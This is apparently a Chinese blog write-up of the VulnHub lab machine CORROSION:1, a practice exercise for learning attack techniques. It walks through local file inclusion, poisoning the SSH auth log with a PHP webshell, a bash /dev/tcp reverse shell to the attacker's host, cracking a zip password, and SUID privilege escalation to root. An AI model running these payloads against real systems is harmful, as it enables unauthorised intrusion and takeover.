vulnhub靶场——CORROSION:1-爱代码爱编程
准备
攻击机:kali
靶机: CORROSION: 1 NAT 192.168.91.0 网段
下载连接:
https://www.vulnhub.com/entry/corrosion-1,730/
信息搜集与利用
主机发现
python3 ping.py -H 192.168.91.0/24
如图所示得到目标靶机IP地址: 192.168.91.188
端口扫描
如图所示只开放了 22,80 两个端口。
HTTP
http://192.168.91.188/
目录扫描
挨个访问上面的路径:
http://192.168.91.188/tasks/
http://192.168.91.188/tasks/tasks_todo.txt
# 需要完成的任务
1.更改授权日志的权限
2. 更改端口 22 -> 7672
3.设置phpMyAdmin
翻译过来大致如此,看来这个靶机和日志,ssh, phpmyadmin有关。
http://192.168.91.188/blog-post/
http://192.168.91.188/blog-post/uploads/
这两个连接访问是一样的。
这个页面没什么有用的。
http://192.168.91.188/blog-post/archives/randylogs.php
这个页面根据根据名称可以判断出 可以文件包含 日志,但是我们看不到源代码不知道包含参数。
FFUF
但是可以猜测一下,不过可以使用 ffuf 工具来进行模糊测试(FUZZ)
如图所示得到关键词 file, 卧槽他妈的直接猜也可以猜出来。
那么我们现在文件包含一下:
http://192.168.91.188/blog-post/archives/randylogs.php?file=/etc/passwd
可以发现只有 root, randy 两个用户具有 /bin/bash
接下来尝试包含日志文件,如果忘记了日志文件的目录位置可以使用字典:
如图所示 /var/log/auth.log 正是我们需要的日志文件,且在 task/task_todo.txt 中 第一条有提示:
- Change permissions for auth log
先来测试一下:随便使用一个用户名比如test ssh 登陆看看该日志的结果是什么?
很明显大家都知道这个是登陆不了的。现在查看日志最下面的显示结果:
view-source:http://192.168.91.188/blog-post/archives/randylogs.php?file=/var/log/auth.log
如图所示很明显的 显示 用户名错误,密码错误。
反弹shell
现在尝试ssh日志写入一句话木马!只需将用户名跟更改为一句话木马即可。
ssh ‘<?php system($\_REQUEST['cmd']);?>’@192.168.91.188
这条命令我试了很多,将 cmd 改为其他字符有时可以执行命令有时又不能执行,很玄学啊!!!
然后访问:
view-source:http://192.168.91.188/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ls%20-alh
然后查看源代码最下面:
可以看到 命令 &cmd=ls -alh 执行成功,那么现在可以执行命令,我们尝试反弹shell
首先在kali 上监听
nc -lvnp 4444
然后执行命令:
// 要先将下面代码URL编码,然后执行
echo "bash -i >& /dev/tcp/172.18.171.250/4444 0>&1" | bash
http://192.168.91.188/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.171.250%2F4444%200%3E%261%22%20%7C%20bash
如图所示得到了一个 webshell
lsb-release -a
如图所示可以看到版本为 ubuntu 21.04 既然这么高那不可能存在系统漏洞的。所以这种情况只有出题人人为留下的漏洞了。
搜索SUID发现也没有可用的。
查看 randylogs.php 发现内容很简单:
可疑文件
后来发现在 目录
/var/backups/ 下存在 user_backup.zip 文件,看着很可疑
尝试解压后发现,需要密码:
将其下载到 kali 中来破解密码:
现在靶机中输入如下命令:
python3 -m http.server 8000
python3 和 python2 的方式不一样,python2 是: python2 -m SimpleHTTPServer 8000
浏览器访问查看是否奏效
http://192.168.91.188:8000/
密码破解
ok,现在下载即可
wget http://192.168.91.188:8000/user_backup.zip
输入如下命令:
zip2john user_backup.zip > hash.txt
会生成 hash.txt
然后使用 john 进行破解,同时指定一个强一点的字典(kali自带)
注意 --wordlist= 路径, 别忘了等于符号,很快就能破解出密码: !randybaby
现在得到了密码在kali下解压。在靶机中解压直接跳过了输入密码的环节
unzip user_backup.zip
cat easysysinfo.c
这个C文件其中
#include<unistd.h>
void main()
{ setuid(0); // 设置 userid 为0 即为最高权限(root)
setgid(0); // 设置 groupid 为0 即为最高权限(root)
system("/usr/bin/date"); // 执行命令
system("cat /etc/hosts"); // 执行命令
system("/usr/bin/uname -a"); // 执行命令
}
在kali上编译运行查看效果:
那么可以编辑这个文件 来得到 root 权限。先登陆靶机再说。
cat id_rsa.pub
可以看到公钥显示为用户 randy的,
cat my_password.txt
得到密码: randylovesgoldfish1998
尝试使用 randy:randylovesgoldfish1998 ssh登陆,这里使用 ssh工具(MobaXterm)登陆,方便上传下载文件。
如图所示登陆成功
flag 1
当前目录下存在名为 user.txt 的文件
SUID提权
我们输入 sudo -l 来查看当前用户在系统上可以使用的命令
如图所示 /home/randy/tools/easysysinfo (与下载的压缩包中easyssysinfo.c 相对应)为 root 权限执行即 SUID
如图所示 -rw-s-r-xr-x 中 s 就代表 可以利用这个进行 SUID 提权。同时存在 .py 文件
我们输入命令 find / -perm -u=s -type f 2>/dev/null 也可以看到这个文件
好了,现在更加确定这个文件能达到我们的目的,先看看 easysysinfo.py
我们还是编辑压缩包中的 c 文件来提取,因为我不知道 python怎么编译为可执行文件。c语言可以直接 gcc 编译为可执行文件,先which 或者 whereis 查看一下有没有gcc命令。
which gcc 截图截掉了。
vi easysysinfo.c
#include "unistd.h"
#include "stdlib.h"
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}
gcc easysysinfo.c -o easysysinfo
sudo ./easysysinfo
如图所示拿到了 root 权限。
flag 2
总结
- ffuf 进行模糊测试。
- 利用 /var/log/auth.log 进行 getshell。
- c 语言也可以用来提权。